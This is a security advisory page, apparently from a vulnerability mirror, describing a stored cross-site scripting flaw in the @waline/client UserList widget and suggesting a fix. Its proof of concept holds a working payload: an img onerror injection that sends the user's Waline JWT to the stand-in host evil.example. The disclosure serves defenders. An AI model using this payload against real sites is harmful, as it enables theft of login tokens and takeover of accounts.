All security reports
OSV security advisoryHigh

GHSA-7w94-hxwm-gg99 · @waline/client

GHSA-7w94-hxwm-gg99 · Reported 2 Dec 2026

Full advisory details, affected packages, severity context, and original source.

Affected technology

@waline/clientAffected product

Affected versions and fixes

Version information comes from OSV, NVD, and the CVE vendor record. Each source may describe a different package, release branch, or platform.

@waline/client · npm

OSV
  • All earlier versions · through 3.16.3 (inclusive)

Fixed releases / commits: Not explicitly provided by this source. Check the vendor guidance.

Advisory overview

### Summary The `@waline/client` `UserList` widget builds its DOM by concatenating server-returned commenter fields directly into `root.innerHTML` with no HTML escaping. The commenter `nick` and `link` are stored and returned verbatim by the server (only the comment body is sanitized), and the `link` field is never sent to the spam filter. So an unauthenticated visitor who posts a comment with `link = x"><img src=x onerror=...>` achieves stored cross-site scripting that executes, with no interaction, in the browser of every visitor to a page that embeds the UserList widget. ### Details `packages/client/src/widgets/userList.ts:106-133` builds `root.innerHTML` by concatenating `user.nick` (as element content at :117 and in the `aria-label`/`alt` attributes), `user.link` (in the `<a href>` and as content at :125), `user.avatar`, and `user.label`, all with no escaping. A commenter `link` of `x"><img src=x onerror=...>` breaks out of the `href` attribute and injects a live element. `packages/client/src/widgets/recentComments.ts:73-78` has the identical unescaped-innerHTML pattern for `comment.nick`/`comment.url`, but it is NOT reachable as shipped: its client `getRecentComment` returns the wrapped `{errno,data}` object without unwrapping `.data`, so the `comments.length > 0` guard is false and the widget renders nothing. The live sink is UserList. On the server the fields are never escaped: - `packages/server/src/logic/comment.js` validates only `url` and `comment` (both as strings); `nick` and `link` have no rule. - `packages/server/src/controller/comment.js` postAction stores `nick`/`link`/`url` verbatim (`:98-111`, `add(data)` `:215`), and `getRecentCommentList` (`:647-705`) returns them via `formatCmt`, which never HTML-escapes them. - `packages/server/src/controller/user.js:280-300` builds the UserList response for anonymous commenters by reading `{ nick, link }` straight off a comment row. Only `comment.comment` is sanitized (`controller/comment.js:55`, markdown-it -> DOMPurify). `nick`, `link`, and `url` are the injection points. By default an anonymous comment is stored `status=approved` (`config.js:124` `audit` defaults to false). Akismet ships a built-in `DEFAULT_KEY`, so on a networked default server it is active and spam-filters an `<img onerror>` in `nick` or the comment body; the `link` field is never sent to Akismet, so it is the robust out-of-the-box injection point. The `nick` field fires when Akismet is disabled or unreachable. ### Proof of concept 1. As an anonymous user, post a comment via `POST /api/comment` with `link` set to the payload: ``` POST /api/comment { "url": "/any-post", "comment": "hi", "nick": "a", "link": "x\"><img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>" } ``` 2. On any page that embeds the `UserList` widget, the widget concatenates `link` straight into `root.innerHTML` with no escaping, so `onerror` fires for every visitor with no interaction. The `nick` field is equally injectable but reaches the widget only when Akismet is disabled, since Akismet filters it by default. The default comment list (`CommentCard`) is not affected; it renders `nick` through Vue `{{ }}` and normalizes `link` through `isLinkHttp`. ### Impact Arbitrary script in the widget's origin against an anonymous viewer: defacement, redirect, phishing, and CSRF-on-behalf. When a logged-in user or administrator views the widget, the injected script can read the waline JWT (kept in same-origin `localStorage`), escalating to account or administrator takeover. ### Suggested fix HTML-escape every interpolated user field in both widgets; leave `comment.comment` as is (already server-sanitized). Additionally consider routing `url`/`link` through the existing `isLinkHttp` normalization to also block `javascript:` schemes in the click-gated `href`.

How Cevnitra tracks this

Cevnitra stores this OSV record in the public advisory mirror so scans and watchlists can match GHSA-7w94-hxwm-gg99 against your inventory.

Also known as

CVE-2026-64671

Related references

Your vulnerabilities. One clear dashboard.

Find and review known vulnerabilities across your applications and infrastructure in one dashboard, so your team can see what needs attention and take action to fix it.

Create your account